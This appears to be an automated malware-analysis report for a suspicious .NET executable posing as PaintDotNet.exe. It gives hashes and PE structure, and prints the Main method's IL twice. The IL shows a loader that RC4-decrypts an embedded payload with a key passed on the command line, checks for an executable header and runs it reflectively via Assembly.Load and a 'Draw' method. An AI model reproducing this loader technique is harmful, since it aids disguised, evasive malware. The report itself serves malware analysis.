Suspicious
Suspect

30243c020cff3ded4c8842aa36f514d6

PE Executable
|
MD5: 30243c020cff3ded4c8842aa36f514d6
|
Size: 1.39 MB
|
application/x-dosexec


Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
30243c020cff3ded4c8842aa36f514d6
Sha1
cb2aa236d0dbc72f0a424336959971fc0b3418af
Sha256
cf101e60653e1a1af54335d9efb4e2942d32b8b8b1be729166ce528b0991e3f2
Sha384
3b799ddb755ac4cfd883feafd170bccf9956fb259d7c2763ae94603623a1ffbf0f2bbc04cd70a5da8c03abce790b45d1
Sha512
01bcd18ba2d75cbeaba65767f336209f49057be5edc47fd086fc36d4e226b891acbc5c6fbebfcb45f94854cc096634a1f2f8279acbe3c8dceb5d21390d809198
SSDeep
12288:mEmJhWNPOtdJQcA2AMXLonxYWALj5lr83qn+6ZkQhYDLOqfi6/BHMhZxpG5pSGpY:ZdNc7AMGpM5SJi6RGy2
TLSH
48553F2C26FA4349F2736E364AD9B5958A1F76E2E5F6538B134C020B4711A80CF91FF6

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0-preview.png
ID:0007
ID:0
ID:0008
ID:0
ID:0009
ID:0
RT_GROUP_CURSOR4
ID:7F00
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

PaintDotNet.exe

Full Name

PaintDotNet.exe

EntryPoint

System.Void PaintDotNet.Program::Main(System.String[])

Scope Name

PaintDotNet.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

PaintDotNet

Assembly Version

4.210.7348.40815

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

4699

Main Method

System.Void PaintDotNet.Program::Main(System.String[])

Main IL Instruction Count

420

Main IL

nop <null> newobj System.Void PaintDotNet.Form1::.ctor() stloc.1 <null> newobj System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::.ctor() stloc.2 <null> ldnull <null> ldftn System.Void PaintDotNet.Program::CalcHashThread(System.Object) newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart) stloc.3 <null> call System.Byte[] CodeGen::GetBytes() stloc.s V_4 ldloc.s V_4 ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0127: ldsfld System.Byte[] PaintDotNet.Program::seed nop <null> ldloc.s V_4 ldc.i4.0 <null> ldelem.u1 <null> ldc.i4.s 75 bne.un.s IL_004A: ldc.i4.1 ldloc.s V_4 ldc.i4.1 <null> ldelem.u1 <null> ldc.i4.s 83 ceq <null> ldc.i4.0 <null> ceq <null> br.s IL_004B: nop ldc.i4.1 <null> nop <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0126: nop nop <null> ldc.i4.2 <null> stloc.s V_5 ldc.i4.6 <null> newarr System.UInt32 stloc.s V_6 ldc.i4.0 <null> stloc.s V_7 br.s IL_0088: ldloc.s V_7 nop <null> ldc.i4.0 <null> stloc.s V_8 ldloc.s V_5 ldloc.s V_4 ldloc.s V_5 ldloca.s V_8 call System.Int32 PaintDotNet.Program::DecodeVarint32(System.Byte[],System.Int32,System.UInt32&) add <null> stloc.s V_5 ldloc.s V_6 ldloc.s V_7 ldloc.s V_8 stelem.i4 <null> nop <null> ldloc.s V_7 ldc.i4.1 <null> add <null> stloc.s V_7 ldloc.s V_7 ldc.i4.6 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0066: nop ldc.i4.s 16 newarr System.Byte stloc.0 <null> ldloc.s V_4 ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.2 <null> ldc.i4.s 32 ldloc.0 <null> callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[]) nop <null> ldloc.s V_5 ldc.i4.s 16 add <null> stloc.s V_5 ldc.i4.s 16 newarr System.Byte stsfld System.Byte[] PaintDotNet.Program::seed ldloc.s V_4 ldloc.s V_5 ldsfld System.Byte[] PaintDotNet.Program::seed ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.s V_5 ldc.i4.s 16 add <null> stloc.s V_5 ldc.i4.0 <null> stloc.s V_7 br.s IL_011A: ldloc.s V_7 nop <null> ldloc.s V_6 ldloc.s V_7 ldelem.u4 <null> stloc.s V_9 ldloc.s V_9 newarr System.Byte stloc.0 <null> ldloc.s V_4 ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldloc.s V_9 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.s V_5 ldloc.s V_9 add <null> stloc.s V_5 ldloc.2 <null> ldloc.s V_7 ldloc.0 <null> callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[]) nop <null> nop <null> ldloc.s V_7 ldc.i4.1 <null> add <null> stloc.s V_7 ldloc.s V_7 ldc.i4.6 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_00E4: nop nop <null> nop <null> ldsfld System.Byte[] PaintDotNet.Program::seed ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0350: call System.Void System.Windows.Forms.Application::Exit() nop <null> ldc.i4.0 <null> stloc.s V_10 ldloc.1 <null> callvirt System.Byte[] PaintDotNet.Form1::getPharse() stloc.s V_11 ldarg.0 <null> ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_01D6: ldloc.s V_10 nop <null> ldc.i4.0 <null> stloc.s V_7 br.s IL_01C8: ldloc.s V_7 nop <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> callvirt System.Int32 System.String::get_Length() ldc.i4.s 66 ceq <null> ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_01C1: nop nop <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> ldc.i4.0 <null> ldc.i4.2 <null> callvirt System.String System.String::Substring(System.Int32,System.Int32) ldstr -b call System.Boolean System.String::op_Equality(System.String,System.String) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_01C0: nop nop <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> ldc.i4.2 <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> callvirt System.Int32 System.String::get_Length() ldc.i4.2 <null> sub <null> callvirt System.String System.String::Substring(System.Int32,System.Int32) stloc.s V_12 ldloc.s V_12 call System.Byte[] PaintDotNet.Program::ConvertHexStringToByteArray(System.String) stloc.s V_13 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_13 ldc.i4.0 <null> ldc.i4.s 32 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldc.i4.1 <null> stloc.s V_10 nop <null> nop <null> nop <null> ldloc.s V_7 ldc.i4.1 <null> add <null> stloc.s V_7 ldloc.s V_7 ldarg.0 <null> ldlen <null> conv.i4 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0157: nop nop <null> ldloc.s V_10 stloc.s V_21 ldloc.s V_21 brtrue.s IL_01F9: ldc.i4.s 16 nop <null> ldloc.3 <null> ldloc.1 <null> callvirt System.IntPtr System.Windows.Forms.Control::get_Handle() box System.IntPtr callvirt System.Void System.Threading.Thread::Start(System.Object) nop <null> ldloc.1 <null> call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form) nop <null> nop <null> ldc.i4.s 16 newarr System.Byte stloc.s V_14 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_14 ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.2 <null> ldc.i4.3 <null> ldloca.s V_0 callvirt System.Boolean System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::TryGetValue(System.Int32,System.Byte[]&) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_034F: nop nop <null> ldloc.0 <null> ldlen <null> conv.i4 <null> ldc.i4.2 <null> cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_034E: nop nop <null> ldloc.0 <null> ldloc.s V_14 call System.Byte[] RC4Cryptography.RC4::Apply(System.Byte[],System.Byte[]) stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldelem.u1 <null> ldc.i4.s 77 bne.un.s IL_0258: ldc.i4.1 ldloc.s V_15 ldc.i4.1 <null> ldelem.u1 <null> ldc.i4.s 90 ceq <null> ldc.i4.0 <null> ceq <null> br.s IL_0259: nop ldc.i4.1 <null> nop <null> stloc.s V_21 ldloc.s V_21 brtrue IL_034D: nop nop <null> nop <null> ldloc.s V_15 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_16 ldloc.s V_16 ldnull <null> call System.Boolean System.Reflection.Assembly::op_Inequality(System.Reflection.Assembly,System.Reflection.Assembly) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0343: nop nop <null> ldnull <null> stloc.s V_17 ldloc.s V_16 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_18 nop <null> ldloc.s V_18 stloc.s V_22 ldc.i4.0 <null> stloc.s V_23 br.s IL_02D5: ldloc.s V_23 ldloc.s V_22 ldloc.s V_23 ldelem.ref <null> stloc.s V_19 nop <null> ldloc.s V_19 callvirt System.String System.Type::get_FullName() ldstr Flutter call System.Boolean System.String::op_Equality(System.String,System.String) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_02CE: nop nop <null> ldloc.s V_16 ldloc.s V_19 callvirt System.String System.Type::get_FullName() callvirt System.Object System.Reflection.Assembly::CreateInstance(System.String) stloc.s V_17 br.s IL_02E3: ldloc.s V_17 nop <null> ldloc.s V_23 ldc.i4.1 <null> add <null> stloc.s V_23 ldloc.s V_23 ldloc.s V_22 ldlen <null> conv.i4 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0299: ldloc.s V_22 ldloc.s V_17 ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0342: nop nop <null> ldloc.s V_17 callvirt System.Type System.Object::GetType() stloc.s V_19 ldloc.s V_19 ldstr Draw callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String) stloc.s V_20 ldloc.s V_20 ldnull <null> call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0341: nop nop <null> ldloc.s V_20 ldloc.s V_17 ldc.i4.3 <null> newarr System.Object stloc.s V_24 ldloc.s V_24 ldc.i4.0 <null> ldloc.s V_11 stelem.ref <null> ldloc.s V_24 ldc.i4.1 <null> ldsfld System.Byte[] PaintDotNet.Program::RedistData stelem.ref <null> ldloc.s V_24 ldc.i4.2 <null> ldloc.2 <null> stelem.ref <null> ldloc.s V_24 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> nop <null> nop <null> nop <null> nop <null> leave.s IL_034B: nop pop <null> nop <null> nop <null> leave.s IL_034B: nop nop <null> nop <null> nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> ret <null>

Module Name

PaintDotNet.exe

Full Name

PaintDotNet.exe

EntryPoint

System.Void PaintDotNet.Program::Main(System.String[])

Scope Name

PaintDotNet.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

PaintDotNet

Assembly Version

4.210.7348.40815

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

4699

Main Method

System.Void PaintDotNet.Program::Main(System.String[])

Main IL Instruction Count

420

Main IL

nop <null> newobj System.Void PaintDotNet.Form1::.ctor() stloc.1 <null> newobj System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::.ctor() stloc.2 <null> ldnull <null> ldftn System.Void PaintDotNet.Program::CalcHashThread(System.Object) newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart) stloc.3 <null> call System.Byte[] CodeGen::GetBytes() stloc.s V_4 ldloc.s V_4 ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0127: ldsfld System.Byte[] PaintDotNet.Program::seed nop <null> ldloc.s V_4 ldc.i4.0 <null> ldelem.u1 <null> ldc.i4.s 75 bne.un.s IL_004A: ldc.i4.1 ldloc.s V_4 ldc.i4.1 <null> ldelem.u1 <null> ldc.i4.s 83 ceq <null> ldc.i4.0 <null> ceq <null> br.s IL_004B: nop ldc.i4.1 <null> nop <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0126: nop nop <null> ldc.i4.2 <null> stloc.s V_5 ldc.i4.6 <null> newarr System.UInt32 stloc.s V_6 ldc.i4.0 <null> stloc.s V_7 br.s IL_0088: ldloc.s V_7 nop <null> ldc.i4.0 <null> stloc.s V_8 ldloc.s V_5 ldloc.s V_4 ldloc.s V_5 ldloca.s V_8 call System.Int32 PaintDotNet.Program::DecodeVarint32(System.Byte[],System.Int32,System.UInt32&) add <null> stloc.s V_5 ldloc.s V_6 ldloc.s V_7 ldloc.s V_8 stelem.i4 <null> nop <null> ldloc.s V_7 ldc.i4.1 <null> add <null> stloc.s V_7 ldloc.s V_7 ldc.i4.6 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0066: nop ldc.i4.s 16 newarr System.Byte stloc.0 <null> ldloc.s V_4 ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.2 <null> ldc.i4.s 32 ldloc.0 <null> callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[]) nop <null> ldloc.s V_5 ldc.i4.s 16 add <null> stloc.s V_5 ldc.i4.s 16 newarr System.Byte stsfld System.Byte[] PaintDotNet.Program::seed ldloc.s V_4 ldloc.s V_5 ldsfld System.Byte[] PaintDotNet.Program::seed ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.s V_5 ldc.i4.s 16 add <null> stloc.s V_5 ldc.i4.0 <null> stloc.s V_7 br.s IL_011A: ldloc.s V_7 nop <null> ldloc.s V_6 ldloc.s V_7 ldelem.u4 <null> stloc.s V_9 ldloc.s V_9 newarr System.Byte stloc.0 <null> ldloc.s V_4 ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldloc.s V_9 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.s V_5 ldloc.s V_9 add <null> stloc.s V_5 ldloc.2 <null> ldloc.s V_7 ldloc.0 <null> callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[]) nop <null> nop <null> ldloc.s V_7 ldc.i4.1 <null> add <null> stloc.s V_7 ldloc.s V_7 ldc.i4.6 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_00E4: nop nop <null> nop <null> ldsfld System.Byte[] PaintDotNet.Program::seed ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0350: call System.Void System.Windows.Forms.Application::Exit() nop <null> ldc.i4.0 <null> stloc.s V_10 ldloc.1 <null> callvirt System.Byte[] PaintDotNet.Form1::getPharse() stloc.s V_11 ldarg.0 <null> ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_01D6: ldloc.s V_10 nop <null> ldc.i4.0 <null> stloc.s V_7 br.s IL_01C8: ldloc.s V_7 nop <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> callvirt System.Int32 System.String::get_Length() ldc.i4.s 66 ceq <null> ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_01C1: nop nop <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> ldc.i4.0 <null> ldc.i4.2 <null> callvirt System.String System.String::Substring(System.Int32,System.Int32) ldstr -b call System.Boolean System.String::op_Equality(System.String,System.String) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_01C0: nop nop <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> ldc.i4.2 <null> ldarg.0 <null> ldloc.s V_7 ldelem.ref <null> callvirt System.Int32 System.String::get_Length() ldc.i4.2 <null> sub <null> callvirt System.String System.String::Substring(System.Int32,System.Int32) stloc.s V_12 ldloc.s V_12 call System.Byte[] PaintDotNet.Program::ConvertHexStringToByteArray(System.String) stloc.s V_13 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_13 ldc.i4.0 <null> ldc.i4.s 32 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldc.i4.1 <null> stloc.s V_10 nop <null> nop <null> nop <null> ldloc.s V_7 ldc.i4.1 <null> add <null> stloc.s V_7 ldloc.s V_7 ldarg.0 <null> ldlen <null> conv.i4 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0157: nop nop <null> ldloc.s V_10 stloc.s V_21 ldloc.s V_21 brtrue.s IL_01F9: ldc.i4.s 16 nop <null> ldloc.3 <null> ldloc.1 <null> callvirt System.IntPtr System.Windows.Forms.Control::get_Handle() box System.IntPtr callvirt System.Void System.Threading.Thread::Start(System.Object) nop <null> ldloc.1 <null> call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form) nop <null> nop <null> ldc.i4.s 16 newarr System.Byte stloc.s V_14 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_14 ldc.i4.0 <null> ldc.i4.s 16 call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) nop <null> ldloc.2 <null> ldc.i4.3 <null> ldloca.s V_0 callvirt System.Boolean System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::TryGetValue(System.Int32,System.Byte[]&) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_034F: nop nop <null> ldloc.0 <null> ldlen <null> conv.i4 <null> ldc.i4.2 <null> cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_034E: nop nop <null> ldloc.0 <null> ldloc.s V_14 call System.Byte[] RC4Cryptography.RC4::Apply(System.Byte[],System.Byte[]) stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldelem.u1 <null> ldc.i4.s 77 bne.un.s IL_0258: ldc.i4.1 ldloc.s V_15 ldc.i4.1 <null> ldelem.u1 <null> ldc.i4.s 90 ceq <null> ldc.i4.0 <null> ceq <null> br.s IL_0259: nop ldc.i4.1 <null> nop <null> stloc.s V_21 ldloc.s V_21 brtrue IL_034D: nop nop <null> nop <null> ldloc.s V_15 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_16 ldloc.s V_16 ldnull <null> call System.Boolean System.Reflection.Assembly::op_Inequality(System.Reflection.Assembly,System.Reflection.Assembly) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue IL_0343: nop nop <null> ldnull <null> stloc.s V_17 ldloc.s V_16 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_18 nop <null> ldloc.s V_18 stloc.s V_22 ldc.i4.0 <null> stloc.s V_23 br.s IL_02D5: ldloc.s V_23 ldloc.s V_22 ldloc.s V_23 ldelem.ref <null> stloc.s V_19 nop <null> ldloc.s V_19 callvirt System.String System.Type::get_FullName() ldstr Flutter call System.Boolean System.String::op_Equality(System.String,System.String) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_02CE: nop nop <null> ldloc.s V_16 ldloc.s V_19 callvirt System.String System.Type::get_FullName() callvirt System.Object System.Reflection.Assembly::CreateInstance(System.String) stloc.s V_17 br.s IL_02E3: ldloc.s V_17 nop <null> ldloc.s V_23 ldc.i4.1 <null> add <null> stloc.s V_23 ldloc.s V_23 ldloc.s V_22 ldlen <null> conv.i4 <null> clt <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0299: ldloc.s V_22 ldloc.s V_17 ldnull <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0342: nop nop <null> ldloc.s V_17 callvirt System.Type System.Object::GetType() stloc.s V_19 ldloc.s V_19 ldstr Draw callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String) stloc.s V_20 ldloc.s V_20 ldnull <null> call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo) ldc.i4.0 <null> ceq <null> stloc.s V_21 ldloc.s V_21 brtrue.s IL_0341: nop nop <null> ldloc.s V_20 ldloc.s V_17 ldc.i4.3 <null> newarr System.Object stloc.s V_24 ldloc.s V_24 ldc.i4.0 <null> ldloc.s V_11 stelem.ref <null> ldloc.s V_24 ldc.i4.1 <null> ldsfld System.Byte[] PaintDotNet.Program::RedistData stelem.ref <null> ldloc.s V_24 ldc.i4.2 <null> ldloc.2 <null> stelem.ref <null> ldloc.s V_24 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> nop <null> nop <null> nop <null> nop <null> leave.s IL_034B: nop pop <null> nop <null> nop <null> leave.s IL_034B: nop nop <null> nop <null> nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> ret <null>

30243c020cff3ded4c8842aa36f514d6 (1.39 MB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙